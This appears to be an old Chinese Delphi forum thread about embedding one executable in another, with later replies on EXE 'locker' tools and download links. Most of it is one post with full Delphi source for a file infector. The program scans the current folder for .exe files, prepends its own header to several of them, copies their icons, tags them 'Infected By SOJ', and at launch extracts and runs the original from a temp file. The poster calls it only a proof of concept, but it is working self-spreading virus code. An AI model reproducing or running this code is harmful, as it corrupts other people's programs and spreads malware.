怎样把Delphi程序嵌入到其他程序中?(100分)

  • 主题发起人 主题发起人 coolnpss
  • 开始时间 开始时间
这类程序通常都用汇编来写,Delphi 的易用性在这个方面帮不上一点忙。》不一定啊。
以前我也写过一个的。http://Lovejingtao.126.com
下次更新再把代码放上去吧---如果还更新的话。
 
我的程序也是给exe加一个文件头,只是论证一下可行性,离病毒那可差的远了:)
Code here:

//headerprj.dpr
program headerprj;

uses
Windows,Classes,SysUtils,Graphics,ShellAPI;

const
HEADERSIZE=78336;
ICONOFFSET=$11EB8;
INFECTFLAG='Infected By SOJ';
ID=$66666666;

{$R *.RES}

var
tmpFile:string;
si:STARTUPINFO;
pi:PROCESS_INFORMATION;
sr:TSearchRec;
Counter:Integer;

//routines
procedure CopyStream(Src:TStream;sStartPos:Integer;
Dst:TStream;dStartPos:Integer;Count:Integer);
var
sCurPos,dCurPos:Integer;
begin
sCurPos:=Src.Position;
dCurPos:=Dst.Position;
src.Seek(sStartPos,0);
dst.Seek(dStartPos,0);
dst.CopyFrom(src,Count);
src.Seek(sCurPos,0);
dst.Seek(dCurPos,0);
end;{CopyStream}

function Getmyname:string;
var
cmdline:String;
myname:Array [0..255] of Char;
i,j:integer;
begin
i:=1;j:=0;
cmdline:=GetCommandLine;
while cmdline<>chr(0) do
begin
if cmdline<>'"' then
begin
myname[j]:=cmdline;
inc(j);
end;
inc(i);
end;
myname[j-1]:=chr(0);
Result:=strpas(@myname);
end;{Getmyname}

function GetTempFullName:String;
var
tmpPath:Array[1..256]of Char;
tmpname:Array[1..256]of Char;
begin
GetTempPath(256,@tmpPath);
GetTempFileName(@tmpPath,'PQR',0,@tmpName);
Result:=StrPas(@tmpName);
end;{GetTempFullName}

procedure ExtractFile(filename:string);
var
sStream,dStream:TFileStream;
begin
sStream:=TFileStream.Create(Getmyname,fmOpenRead or fmShareDenyNone);
dStream:=TFileStream.Create(filename,fmCreate);
sStream.Seek(HEADERSIZE,0);
dStream.CopyFrom(sStream,sStream.Size-HEADERSIZE);
sStream.Free;
dStream.Free;
end;

procedure fillstartupinfo(var si:STARTUPINFO;state:WORD);
begin
si.cb := sizeof(si);
si.lpReserved := nil;
si.lpDesktop := nil;
si.lpTitle := nil;
si.dwFlags := STARTF_USESHOWWINDOW;
si.wShowWindow := state;
si.cbReserved2 := 0;
si.lpReserved2 := nil;
end;

function InfectFile(Filename:TFilename):Boolean;
var
hdrStream,srcStream:TFileStream;
icoStream,dstStream:TMemoryStream;
iID:Longint;
aIcon:TIcon;
begin
try
if Filename='headerprj.exe' then exit;
srcStream:=TFileStream.Create(Filename,fmOpenRead);

srcStream.Seek(-4,2);
srcStream.Read(iID,4);

if (iID=ID) or (srcStream.Size >1000000)then
begin
srcStream.Free;
Result:=False;
exit; //如果感染过了则退出
end;
srcStream.Free;

try
icoStream:=TMemoryStream.Create;
aIcon:=TIcon.Create;
aIcon.ReleaseHandle;
aIcon.Handle:=ExtractIcon(Hinstance,PChar(Filename),0);//被感染文件的图标
aIcon.SaveToStream(icoStream);
aIcon.Free;

srcStream:=TFileStream.Create(FileName,fmOpenRead);
hdrStream:=TFileStream.Create(GetMyName,fmOpenRead or fmShareDenyNone);//头文件
dstStream:=TMemoryStream.Create;

CopyStream(hdrStream,0,dstStream,0,HEADERSIZE);
CopyStream(icoStream,22,dstStream,ICONOFFSET,$2e8);
CopyStream(srcStream,0,dstStream,HEADERSIZE,srcStream.Size);

dstStream.Seek(0,2);
iID:=$66666666;
dstStream.Write(iID,4);

finally
icoStream.Free;
srcStream.Free;
hdrStream.Free;
dstStream.SaveToFile(Filename);
dstStream.Free;
Result:=True;
end;
except;
end;
end;

//主程序开始
begin
Counter:=2;
if FindFirst('*.exe',faAnyFile,sr)=0 then
begin
InfectFile(sr.Name);
while (FindNext(sr)=0) and (Counter>0) do
begin
if InfectFile(sr.Name) then Dec(Counter);
end;
end;
FindClose(sr);
if ExtractFileName(Getmyname)='headerprj.exe' then exit;
tmpFile:=GetTempFullname;
ExtractFile(tmpFile);
fillstartupinfo(si,SW_SHOWDEFAULT);
CreateProcess(PChar(tmpFile),PChar(tmpFile),nil,nil,True,0,nil,'.',si,pi);
end.

ps:文件名一定要叫headerprj.exe否则会有问题,看看代码就知道了






 
不好意思:)我考虑了,好东西还是大家分享,我决定公布EXE文件加密器的源代码
不过等我两天,我在整理,到时候我挥发贴子的!!mantousoft.51.net会公布的。
 
不整理了,公布了,大家去看吧,我发了贴子了
下载http://mantousoft.51.net/delphi_work/work_filelock.php
 
mantousoft:
你好!
对于你的高超编程技艺深为佩服!
对于你公开代码更是钦佩!
我下载了你的EXE文件加密器的程序及代码,有几个疑问:
1。filelock.dpr代码不能执行,说是缺少1.res文件
2。控件包怎么那么多?我只INSTALL了FlatStyle_D3.dpk就有了所有的控件,
可对?
3。可执行文件和代码文件的界面不一样,功能是不是变化了很多?
4。projectgroud1.dpr根本打不开
为何??
望释疑!
再次感谢你提供的帮助和便利!
 
我看了一下,原理和我的是一样的。并没有实际性的突破!:(
他会临时生成一个Exe文件,这个时候就可以Copy!等于没有加密一样!
要做到真正的加密,必须修改Exe文件结构。哎,难啊!!!!!!
 
soj:

给我一个!非常感谢!
hbsandy@sohu.com
 
讨论的好
 
http://lovejingtao2000.home.chinaren.com/exelock.exe
我以前写的。
一文件头只有30KB。主要是因为判别如果不是硬盘就不解压到当前路径。实际上还可以
加入压缩功能象,再用处理一下就只有20KB。
二加密后图标不变
:)
 
Kingron:
mantousoft 的程序真的是伪加密的吗?我刚下载了一份,还没具体看。如果真的如你
所说真是太令人失望了。
 
To 远帆:
是这样的。不信你可以自己看看。
 
http://www.delphibbs.com/delphibbs/DispQ.asp?LID=403887
我看了这贴后,用里面的代码写了:
http://go4.163.com/~lovejingtao/exe2to1.exe
http://go4.163.com/~lovejingtao/exelock.exe
建议问问题前先查找一下。
 
多人接受答案了。
 
后退
顶部